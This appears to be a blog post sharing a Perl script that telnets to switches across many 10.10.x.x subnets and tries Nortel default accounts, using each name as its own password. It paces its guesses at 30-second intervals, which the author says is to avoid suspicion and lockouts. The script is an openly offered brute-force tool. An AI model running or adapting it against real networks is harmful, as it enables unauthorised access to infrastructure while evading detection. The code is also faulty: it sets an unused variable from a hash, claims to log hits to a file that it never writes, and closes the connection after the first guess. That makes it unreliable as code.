Well I wrote this a while ago for discovering default username and passwords on Nortel switches. It pretty much can be used for any telnet type device, although I think Cisco may need some more sleep()’s. I know its a dirty script, I needed it fast and figured why not post it. You can change the arrary of user/pass and/or have it go at different subnets and/or change where the switches are and/or scan every ip for a switch. In my case I knew the the octects of the switchs on every subnet.

#!/usr/bin/perl
 
use	Net::Telnet;
 
#Nortels default username/passwords
@norteldefault = ('rwa','rw','ro','l3','l2','l1','operator','slbop','slbadmin');
 
#all switches ip
$top=254;
$bot=126;
 
#gernerate hosts to test
for($a= 1; $a < 100; $a++){
 
#creat host for every class we want to scan and push on array
#just comment out blocks you dont want to scan or add more
 
#192.168.*.1,253
#$temp ="192.1.".$a.".".$top;
#push @hosts,$temp;
#$temp ="192.168.".$a.".".$bot;
#push @hosts,$temp;
 
#192.1.*.1,253
#$temp ="192.1.".$a.".".$top;
#push @hosts,$temp;
#$temp ="192.1.".$a.".".$bot;
#push @hosts,$temp;
 
#10.10.*.1,253
$temp ="10.10.".$a.".".$top;
push @hosts,$temp;
$temp ="10.10.".$a.".".$bot;
push @hosts,$temp;
}
 
#setup telnet
$telnet = new Net::Telnet (Timeout => 3, Errmode => "return");
 
#main loop to do the fun
foreach $host (@hosts){
	chomp $host;
	if($telnet-> open($host)){
		print "\nConnected to $host";
 
		foreach $userpass (@norteldefault) {
			chomp $userpass;
			$user = $userpass;
			$pass = %userpass;
			&login;
			sleep (30);	
		};
	}
	else{print "\nCould Not Connect To $host"}
};
 
####old testing 
#sub conn{
#
#$telnet = new Net::Telnet (Timeout => 3, Errmode => "return");
#if($telnet-> open($host)){
#	$connect=1;
#	&login;
#}
#};
 
sub login{
print "\nTrying To login with $userpass";
print "\nWaiting 30sec before next guess. prevent susp. and lockouts";
if($telnet -> login($userpass,$userpass)){
	print "\nLogged In With $userpass To $host !!!!";
	print "\nThis has been logged to File!!!!";
}
$telnet -> close;
};


Reference:

http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm